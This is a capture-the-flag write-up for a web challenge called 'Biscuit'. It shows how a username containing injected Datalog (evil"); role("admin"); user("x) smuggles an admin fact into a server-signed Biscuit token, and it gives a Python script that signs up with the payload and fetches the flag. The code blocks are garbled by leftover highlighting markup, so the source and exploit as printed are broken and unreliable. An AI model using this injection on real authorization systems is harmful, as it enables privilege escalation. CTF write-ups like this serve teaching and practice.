SKIP TO MAIN CONTENT

[ WRITEUP NODE / FIELD REPORTS ]

SOLVED CHALLENGES & FIELD ANALYSIS

SECURITY RESEARCH KNOWLEDGE TECHNIQUES
B3S/WRITEUPS/GASLIGHTCTF-2026-BISCUIT-WRITEUP
← BACK TO ARCHIVE
EVENT: gaslightCTF 2026CATEGORY: WebPOINTS: 500 PTS

GasLightCTF 2026 - Biscuit Writeup

AUTHORED BY:@bealthguy8/15/2026

biscuit

Challenge

Hello world! italics bold

Endpoint: https://<instance>.play.gaslightctf.cooking:1337 Source: biscuit.tar.zst

A Flask app that uses Biscuit authorization tokens for authentication. The flag is only rendered at /flag when the token carries a role("admin") fact.

Source analysis

COOKIE = class="hljs-string">"biscuit"
root = KeyPair()                      # fresh per process

def mint(username: str) -> str:
    builder = BiscuitBuilder(
        fclass="hljs-string">"""
        user(class="hljs-string">"{username}");
        check if user($u), $u.length() > 0;
        class="hljs-string">""",
    )
    if username == class="hljs-string">"webmaster":
        builder.add_fact(Fact(class="hljs-string">&#039;role(class="hljs-string">"admin")&#039;))
    return builder.build(root.private_key).to_base64()

mint interpolates the raw username into the token's authority block with no escaping. The token is validly signed by the server, so whatever is in that block becomes trusted token facts.

def _authorize(policy: str) -> str | None:
    token = request.cookies.get(COOKIE)
    ...
    biscuit = Biscuit.from_base64(token, root.public_key)
    authorizer = Authorizer(policy)
    authorizer.add_token(biscuit)
    authorizer.authorize()
    facts = authorizer.query(Rule(class="hljs-string">"u($u) <- user($u)"))
    ...
    username = facts[0].terms[0]      # username taken straight from the token
    return username

current_user() uses policy allow if user($u); and current_admin() uses allow if user($u), role("admin");. Both read facts from the client-supplied token. The only way to get role("admin") is to be webmaster... or inject it.

Exploit: username injection

Sign up with a username that closes the injected user("...") statement and adds its own role("admin") fact before a valid user(...) fact that satisfies the length check:

evil"); role("admin"); user("x

Length 30 (limit is 32). The minted authority block becomes:

user("evil"); role("admin"); user("x");
check if user($u), $u.length() > 0;

Both user("evil") and user("x") have length > 0, so the token's check passes, and the role("admin") fact makes current_admin() succeed.

import requests, urllib3, re
urllib3.disable_warnings()
BASE = class="hljs-string">"https://<instance>.play.gaslightctf.cooking:1337"
s = requests.Session()
s.verify = False

inj = class="hljs-string">&#039;evilclass="hljs-string">"); role("adminclass="hljs-string">"); user("x&#039;
s.post(BASE + class="hljs-string">"/signup", data={class="hljs-string">"username": inj, class="hljs-string">"password": class="hljs-string">"pw"})   # sets biscuit cookie
r = s.get(BASE + class="hljs-string">"/flag")
print(re.search(rclass="hljs-string">"gaslightCTF\{[^}]+\}", r.text).group(0))

Flag

gaslightCTF{d3f1nit3ly_a_cak3_f0r_l3g4l_r34s0n5_8d447ff9c22c}